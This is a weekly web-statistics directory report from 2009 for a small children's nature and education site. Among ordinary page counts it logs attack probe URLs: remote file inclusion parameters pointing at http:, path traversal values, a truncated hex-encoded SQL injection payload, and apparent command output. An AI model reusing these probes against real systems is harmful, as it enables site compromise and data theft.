Directories Report

Week of 12/13/2009 to 12/19/2009

/ : All Items

Rank Item Accesses % Bytes % Visits %
1 [ /rocks] [Referrers] 45,674 74.03 435,278,643 67.02 2,993 35.89
2 [ /cicada_hunt] [Referrers] 4,403 7.14 64,842,346 9.98 1,305 15.65
3 [ /aarons_cars] 2,810 4.55 43,681,212 6.73 553 6.63
4 [ /webstats] 2,632 4.27 51,207,377 7.88 473 5.67
5 [ /dinosaurs] [Referrers] 1,182 1.92 10,916,542 1.68 207 2.48
6 / [Referrers] 845 1.37 7,109,655 1.09 689 8.26
7 [ /trees] [Referrers] 701 1.14 3,725,786 0.57 238 2.85
8 [ /wonderworks] [Referrers] 684 1.11 8,015,321 1.23 229 2.75
9 [ /campfire] 591 0.96 5,076,905 0.78 157 1.88
10 [ /inquiriesfair] 475 0.77 4,089,500 0.63 250 3.00
11 [ /ethan] 218 0.35 1,351,742 0.21 66 0.79
12 [ /natureclub] [Referrers] 130 0.21 736,490 0.11 96 1.15
13 [ /_themes] 117 0.19 69,648 0.01 102 1.22
14 /search.htm [Referrers] 102 0.17 509,200 0.08 99 1.19
15 /kindergartenteachers.htm [Referrers] 64 0.10 855,134 0.13 60 0.72
16 /kindergarten.htm [Referrers] 60 0.10 945,575 0.15 61 0.73
17 [ /ESCONI] [Referrers] 53 0.09 355,369 0.05 21 0.25
18 /for_teachers.htm [Referrers] 38 0.06 277,368 0.04 36 0.43
19 /about_this_site.htm [Referrers] 32 0.05 637,813 0.10 30 0.36
20 /ChicagoParentArticle2.htm [Referrers] 31 0.05 694,416 0.11 31 0.37
21 /why_salt_the_sandbox.htm [Referrers] 31 0.05 208,300 0.03 30 0.36
22 /ChicagoParentArticle1.htm [Referrers] 28 0.05 470,693 0.07 24 0.29
23 /for_homeschoolers.htm [Referrers] 28 0.05 211,174 0.03 27 0.32
24 [ /birds] 27 0.04 2,433,374 0.37 16 0.19
25 /for_parents.htm [Referrers] 27 0.04 230,724 0.04 26 0.31
26 /index.htm [Referrers] 27 0.04 174,114 0.03 26 0.31
27 [ /?mosConfig_absolute_path=http:] 24 0.04 183,787 0.03 0 0.00
28 /ChicagoParent.htm [Referrers] 23 0.04 140,959 0.02 22 0.26
29 /privacy.htm [Referrers] 22 0.04 104,949 0.02 21 0.25
30 /garden.htm [Referrers] 21 0.03 275,925 0.04 27 0.32
31 [ /?custompluginfile[]=http:] 15 0.02 135,422 0.02 0 0.00
32 [ /?page=http:] 13 0.02 106,403 0.02 0 0.00
33 [ /?mosconfig_absolute_path=http:] 9 0.01 87,057 0.01 0 0.00
34 /_vti_inf.html [Referrers] 6 0.01 8,580 0.00 6 0.07
35 /garden.htm?_ult_url_params=sec=srp&slk=web&cpos=&pos=1&conc
ept=standard&query=round red lava rock garden&cbid=
[Referrers]
6 0.01 73,580 0.01 0 0.00
36 [ ///?_SERVER[DOCUMENT_ROOT]=http:] 5 0.01 48,365 0.01 0 0.00
37 [ //?_zb_path=http:] 5 0.01 48,365 0.01 0 0.00
38 /?!w=353&out=&cw=800&cam=:2.0&d=Daddy missed taking a pictur
e of the "9:20" stage. tonight, so this photo is o
f another cicada. ... Hunt. Find. Solve. Do. Link. H
[Referrers]
5 0.01 29,019 0.00 0 0.00
39 [ /?_CONFIG[files][functions_page]=http:] 5 0.01 48,365 0.01 0 0.00
40 [ /?jamroom[jm_dir]=http:] 5 0.01 48,365 0.01 0 0.00
41 /?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054
207661726368617228323535292C40432076617263686172283430303029
204445434C415245205461626C655F437572736F7220435552534F522046
4F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E732
[Referrers]
4 0.01 29,019 0.00 0 0.00
42 /?PeridicalChicago [Referrers] 4 0.01 19,346 0.00 0 0.00
43 /?feed=rss2 [Referrers] 4 0.01 19,346 0.00 0 0.00
44 [ /_vti_bin] 4 0.01 828 0.00 1 0.01
45 /cicadaindex.htm [Referrers] 4 0.01 6,540 0.00 4 0.05
46 [ /esconi] 4 0.01 10,406 0.00 4 0.05
47 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732
[Referrers]
3 0.00 19,346 0.00 0 0.00
48 /?SeventeenYearLocust.htm [Referrers] 3 0.00 19,346 0.00 0 0.00
49 [ /?_CONFIG] 3 0.00 29,019 0.00 0 0.00
50 [ /?_SERVER[DOCUMENT_ROOT]=http:] 3 0.00 19,346 0.00 0 0.00
51 [ /?_zb_path=http:] 3 0.00 29,019 0.00 0 0.00
52 [ /?absolute_path=http:] 3 0.00 29,019 0.00 0 0.00
53 [ /?rocks] 3 0.00 19,346 0.00 0 0.00
54 [ /?sIncPath=http:] 3 0.00 29,019 0.00 0 0.00
55 /Overnight.htm [Referrers] 3 0.00 11,782 0.00 5 0.06
56 /PioneerPressPhotos.htm [Referrers] 3 0.00 2,962 0.00 3 0.04
57 /RedEyes.htm [Referrers] 3 0.00 8,640 0.00 3 0.04
58 /The_Next_Day.htm [Referrers] 3 0.00 13,176 0.00 3 0.04
59 /What_Species.htm [Referrers] 3 0.00 8,432 0.00 3 0.04
60 /WhiteNymph.htm [Referrers] 3 0.00 11,126 0.00 3 0.04
61 /cicada_hunt?SeventeenYearLocust.htm [Referrers] 3 0.00 834 0.00 0 0.00
62 /cicada_killers_solved.htm [Referrers] 3 0.00 5,022 0.00 3 0.04
63 /family_photos.htm [Referrers] 3 0.00 3,072 0.00 3 0.04
64 /for_older_kids.htm [Referrers] 3 0.00 19,881 0.00 3 0.04
65 /kindergarten.htm?from=search_webresults<1> [Referrers] 3 0.00 41,730 0.01 0 0.00
66 /new_finds_id.htm [Referrers] 3 0.00 12,448 0.00 3 0.04
67 /search.htm?wwparam=1201130756 [Referrers] 3 0.00 13,400 0.00 0 0.00
68 /trees?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C41524520
4054207661726368617228323535292C4043207661726368617228343030
3029204445434C415245205461626C655F437572736F7220435552534F52
20464F522073656C65637420612E6E616D652C622E6E616D652066726F6D
207379736F626A6563747320612C737973636F6C756D6E732
[Referrers]
3 0.00 1,611 0.00 0 0.00
69 [ //?mosConfig_absolute_path=http:] 2 0.00 19,346 0.00 0 0.00
70 /17-year_locust.htm [Referrers] 2 0.00 9,908 0.00 2 0.02
71 [ /?_REQUEST=&_REQUEST[option]=com_dbquery&_REQUEST[Itemid]=1&
GLOBALS=&mosConfig_absolute_path=http:]
2 0.00 19,346 0.00 0 0.00
72 /?bcsi_scan_62E0B405FB527934=0&bcsi_scan_filename=names.htm [Referrers] 2 0.00 19,346 0.00 0 0.00
73 /?fi_Search=Search&form=web [Referrers] 2 0.00 19,346 0.00 0 0.00
74 /?i=http://scottstubbs.com [Referrers] 2 0.00 19,346 0.00 0 0.00
75 /?pghttp://scottstubbs.com [Referrers] 2 0.00 19,346 0.00 0 0.00
76 /HurtYou.htm [Referrers] 2 0.00 9,680 0.00 2 0.02
77 /NewlyHatched.htm [Referrers] 2 0.00 13,642 0.00 2 0.02
78 /Overnight.htm?!w=353&out=&cw=800&cam=:2.0&d=Daddy missed ta
king a picture of the &quot;9:20&quot; stage. tonight, so th
is photo is of another cicada. ... Hunt. Find. Solve. Do. Li
nk. H
[Referrers]
2 0.00 11,782 0.00 0 0.00
79 /Overnight_NoText.htm [Referrers] 2 0.00 8,490 0.00 2 0.02
80 /cicada_hunt?MoreFinds.html [Referrers] 2 0.00 534 0.00 0 0.00
81 /cicada_hunt?PeridicalChicago [Referrers] 2 0.00 538 0.00 0 0.00
82 /cicada_killers.htm [Referrers] 2 0.00 8,640 0.00 2 0.02
83 /cicada_mysteries.htm [Referrers] 2 0.00 8,030 0.00 2 0.02
84 /how_many.htm [Referrers] 2 0.00 7,918 0.00 2 0.02
85 /more_finds.htm [Referrers] 2 0.00 12,436 0.00 2 0.02
86 /redpolls.htm [Referrers] 2 0.00 4,700 0.00 2 0.02
87 /trees?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452
04054207661726368617228323535292C404320766172636861722834303
03029204445434C415245205461626C655F437572736F7220435552534F5
220464F522073656C65637420612E6E616D652C622E6E616D652066726F6
D207379736F626A6563747320612C737973636F6C756D6E732
[Referrers]
2 0.00 1,072 0.00 0 0.00
88 // 1 0.00 9,673 0.00 9 0.11
89 [ //?sIncPath=http:] 1 0.00 9,673 0.00 0 0.00
90 [ /?BBCodeFile= bussnisshttp:] 1 0.00 9,673 0.00 0 0.00
91 [ /?GLOBALS=&mosConfig_absolute_path=http:] 1 0.00 9,673 0.00 0 0.00
92 [ /?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&
GLOBALS=&mosConfig_absolute_path=http:]
1 0.00 9,673 0.00 0 0.00
93 [ /?_REQUEST=&_REQUEST[option]=http:] 1 0.00 9,673 0.00 0 0.00
94 [ /?absolute_path=..] 1 0.00 9,673 0.00 0 0.00
95 [ /?custompluginfile[DOCUMENT_ROOT]=http:] 1 0.00 9,673 0.00 0 0.00
96 [ /?custompluginfile[]=..] 1 0.00 9,673 0.00 0 0.00
97 [ /?error= http:] 1 0.00 9,673 0.00 0 0.00
98 [ /?htmlclass_path= http:] 1 0.00 9,673 0.00 0 0.00
99 /?link [Referrers] 1 0.00 9,673 0.00 0 0.00
100 /?link=http: [Referrers] 1 0.00 9,673 0.00 0 0.00
101 [ /?option=com_joomlalib&task=&mosConfig_absolute_path=http:] 1 0.00 9,673 0.00 0 0.00
102 /?peridicalchicago 1 0.00 9,673 0.00 0 0.00
103 [ /?sIncPath=..] 1 0.00 0 0.00 0 0.00
104 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing)
[Referrers]
1 0.00 9,673 0.00 0 0.00
105 [ /?section=http:] 1 0.00 9,673 0.00 0 0.00
106 [ /?site= bussnisshttp:] 1 0.00 9,673 0.00 0 0.00
107 [ /?sourcedir=..] 1 0.00 9,673 0.00 0 0.00
108 /Gyllenhaals_at_Chincoteague,_2007 _01.JPG 1 0.00 1,297,683 0.20 1 0.01
109 /index2.htm 1 0.00 6,141 0.00 1 0.01